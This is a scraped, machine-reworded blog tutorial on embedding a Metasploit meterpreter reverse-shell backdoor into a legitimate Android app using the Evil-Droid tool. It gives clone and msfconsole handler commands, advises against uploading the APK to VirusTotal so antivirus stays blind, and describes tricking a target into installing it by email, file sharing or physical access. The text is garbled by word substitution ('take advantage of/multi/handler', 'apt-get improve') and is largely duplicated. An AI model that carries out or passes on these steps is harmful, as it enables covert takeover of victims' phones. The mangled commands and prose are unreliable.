hacking tutorials 2023All About Hacking

How to Embed a Backdoor into an Android APK

How to Embed a Backdoor into an Android APK cell gadgets–smartphones and capsules–are proliferating round the arena and slowly overtaking computer and laptop machines.

The following step, of route How to Embed a Backdoor into an Android APK:

those cell devices usually run either the iOS or the Android working system, with Android comprising the majority of all cell device OS’s (82%). thinking about the increase of the cell market and the dominance of the Android operating machine, it best makes sense that Android hacking is more and more turning into the leading edge of hacking. As such, we will spend increasing time and tutorials on Android hacking right here at Hackers-arise to put together you for this eventuality How to Embed a Backdoor into an Android APK.

 How to Embed a Backdoor into an Android APK
How to Embed a Backdoor into an Android APK 2023

that is the 0.33 access in Android Hacking collection with setting up a Android Hacking Lab and Android basics preceding it. I strongly propose that you look over my Android fundamentals article earlier than proceeding further into this collection.

Step #1 download and installation Evil Droid How to Embed a Backdoor into an Android APK

To embed a backdoor into an Android APK, we can be the usage of Evil-Droid.

it is a python script evolved by way of Mascerano Bachir that generates a framework for creating and embedding an APK payload to penetrate Android structures How to Embed a Backdoor into an Android APK.

To down load the script, you can clone it into your system by way of coming into;

kali > git clone https://github.com/M4sc3r4n0/Evil-Droid

in case you get an errors message indicating that some of Evil-Droid’s dependencies are not available or out-of-date, you could want to upgrade to more recent variations of your packages.

kali > apt-get improve

Step #2 supply yourself Execute Permissions How to Embed a Backdoor into an Android APK

is to present your self permission to execute this script. First, navigate to the Evil-Droid directory and then use chmod to present your self execute permission.

kali > cd Evil-Droid

kali > chmod 775 evil-droid

Step #3 Execute Evil Droid

subsequent, allow’s execute evil-droid. Evil-droid will take a look at to look whether you have a web connection and several portions of essential software, together with Metasploit.

kali > ./evil-droid

word the lowest warning in purple. Do not add the APK to VirusTotal.com as in order to cause an antivirus signature by the AV builders.

Step #four Execute the Framework How to Embed a Backdoor into an Android APK

once evil-droid has efficaciously located all it is vital components, you will receive a message like that below asking whether or not you want to “Execute Framework and offerings”. click on “sure”.

Step #five select Backdoor How to Embed a Backdoor into an Android APK How to Embed a Backdoor into an Android APK

you may be greeted via the menu  screen beneath. you could pick out any of the backdoors by way of wide variety. here we decided on “Backdoor APK original (NEW)”.

Step #6 select IP and Port

Evil-droid will then ask you to set your LHOST (for Metasploit) and show your local IP and Public IP.

Then, it will activate you to your LPORT. Port 4444 is the default port for Metasploit’s Meterpreter and other payloads.

Step #7 call your Payload How to Embed a Backdoor into an Android APK

Evil-droid will then ask you to call your payload. here I named it hackers-arise-app, however you may name it some thing pleases you.

Step #8 select Your Payload/Listener

Now, we want to pick out a payload. Evil-droid permits you to apply any of the Android payloads from Metasploit inclusive of android/meterpreter/reverse_tcp. in reality click on on the radio button next to the payload you need to embed within the APK.

Step #9 down load APK and Embed Backdoor How to Embed a Backdoor into an Android APK

next, evil-droid prompts us for the APK record we want to embed the backdoor into. right here, i have downloaded the beloved Foxnews.apk for embedding our backdoor.

Step #10 select Metasploit Multi-Handler to make a Connection

In our next step, we need to tell evil-droid how we’re going to hook up with the backdoor. select “Multi-Handler”.

We now want to open the multi-handler in Metasploit in order that it can “catch” the relationship getting back from the embedded payload How to Embed a Backdoor into an Android APK.

Open Metasploit by way of getting into;

kali > msfconsole

Now we need to begin the multi-handler and inform Metasploit what IP and port to pay attention on and which payload to concentrate for.

msf > use take advantage of/multi/handler How to Embed a Backdoor into an Android APK

msf > set PAYLOAD android/meterpreter/reverse_tcp

msf > SET LHOST 192.168.1.104

msf > set LPORT 4444

Step #eleven deliver the APK to the goal

in this very last step, we need to have the APK (with the embedded backdoor) to be set up and carried out on the target’s Android tool. this is in which a few social engineering abilties can show helpful. you may email the APK or send it through DropBox or other file sharing device. when you have physical get right of ntry to to the device, you can sincerely set up it your self How to Embed a Backdoor into an Android APK.

while the goal user installs the app to view their “fair and Balanced” FoxNews, it will execute the backdoor and connect again in your machine providing you with a meterpreter shell on their android tool!

From the meterpreter shell, we will do pretty much something on the Android device.

For a list of Meterpreter commands, click right here.

presrve coming returned my fledgling hackers as we discover even extra methods to hack Android gadgets How to Embed a Backdoor into an Android APK!

cell gadgets–smartphones and capsules–are proliferating spherical the area and slowly overtaking laptop and pc machines. those cell gadgets commonly run either the iOS or the Android running device, with Android comprising the majority of all cell device OS’s (eighty two%). considering the increase of the cellular marketplace and the dominance of the Android working machine, it best makes sense that Android hacking is increasingly more turning into the main edge of hacking. As such, we are able to spend growing time and tutorials on Android hacking right here at Hackers-stand up to put together you for this eventuality.

that is the 0.33 get admission to in Android Hacking collection with putting in a Android Hacking Lab and Android basics preceding it. I strongly advocate that you look over my Android basics article in advance than intending similarly into this collection.

Step #1 down load and set up Evil Droid

To embed a backdoor into an Android APK, we can be using Evil-Droid. it’s miles a python script developed via manner of Mascerano Bachir that generates a framework for developing and embedding an APK payload to penetrate Android structures.

 How to Embed a Backdoor into an Android APK
How to Embed a Backdoor into an Android APK 2023

To down load the script, you could clone it into your gadget through manner of coming into;

kali > git clone https://github.com/M4sc3r4n0/Evil-Droid

in case you get an errors message indicating that a number of Evil-Droid’s dependencies aren’t to be had or out-of-date, you may need to improve to more recent variations of your packages.

kali > apt-get enhance

Step #2 deliver your self Execute Permissions

the subsequent step, of route, is to give your self permission to execute this script. First, navigate to the Evil-Droid listing after which use chmod to give yourself execute permission.

kali > cd Evil-Droid

kali > cmod 775 evil-droid

Step #3 Execute Evil Droid

next, allow’s execute evil-droid. Evil-droid will take a look at to appearance whether or not you have got a web connection and numerous portions of essential software program, collectively with Metasploit.

kali > ./evil-droid

word the lowest caution in pink. Do no longer add the APK to VirusTotal.com as which will reason an antivirus signature via the AV developers.

Step #four Execute the Framework

once evil-droid has efficaciously positioned all it’s far essential additives, you will receive a message like that underneath asking whether or no longer you want to “Execute Framework and offerings”. click on on “certain”.

Step #5 pick Backdoor

you will be greeted via the menu screen underneath. you can select out any of the backdoors via way of huge variety. here we determined on “Backdoor APK original (NEW)”.

Step #6 choose IP and Port

Evil-droid will then ask you to set your LHOST (for Metasploit) and display your neighborhood IP and Public IP.

Then, it’ll activate you in your LPORT. Port 4444 is the default port for Metasploit’s Meterpreter and different payloads.

Step #7 name your Payload

Evil-droid will then ask you to name your payload. right here I named it hackers-get up-app, however you may call it a few aspect pleases you.

Step #8 choose Your Payload/Listener

Now, we need to pick out out a payload. Evil-droid permits you to apply any of the Android payloads from Metasploit together with android/meterpreter/reverse_tcp. in fact click on on the radio button next to the payload you want to embed within the APK.

Step #9 download APK and Embed Backdoor

next, evil-droid prompts us for the APK file we need to embed the backdoor into. right here, i’ve downloaded the loved Foxnews.apk for embedding our backdoor.

Step #10 select Metasploit Multi-Handler to make a Connection

In our next step, we need to tell evil-droid how we’re going to hook up with the backdoor. choose “Multi-Handler”.

We now want to open the multi-handler in Metasploit in order that it can “capture” the connection getting back from the embedded payload.

Open Metasploit by way of moving into;

kali > msfconsole

Now we want to begin the multi-handler and inform Metasploit what IP and port to pay interest on and which payload to pay attention for.

msf > use take gain of/multi/handler

msf > set PAYLOAD android/meterpreter/reverse_tcp

msf > SET LHOST 192.168.1.104

msf > set LPORT 4444

Step #11 deliver the APK to the goal

on this final step, we want to have the APK (with the embedded backdoor) to be set up and executed at the target’s Android tool. that is in which a few social engineering skills can display useful. you may email the APK or send it thru DropBox or different document sharing device. when you have physical get right of access to to the device, you may simply installation it your self.

whilst the aim user installs the app to view their “fair and Balanced” FoxNews, it will execute the backdoor and join again on your device imparting you with a meterpreter shell on their android device!

From the meterpreter shell, we are able to do pretty much some thing at the Android tool. For a listing of Meterpreter commands, click right here.

 How to Embed a Backdoor into an Android APK
How to Embed a Backdoor into an Android APK 2023

keep coming back my fledgling hackers as we find out even more strategies to hack Android gadgets!

Sources

Leave a Reply

Your email address will not be published. Required fields are marked *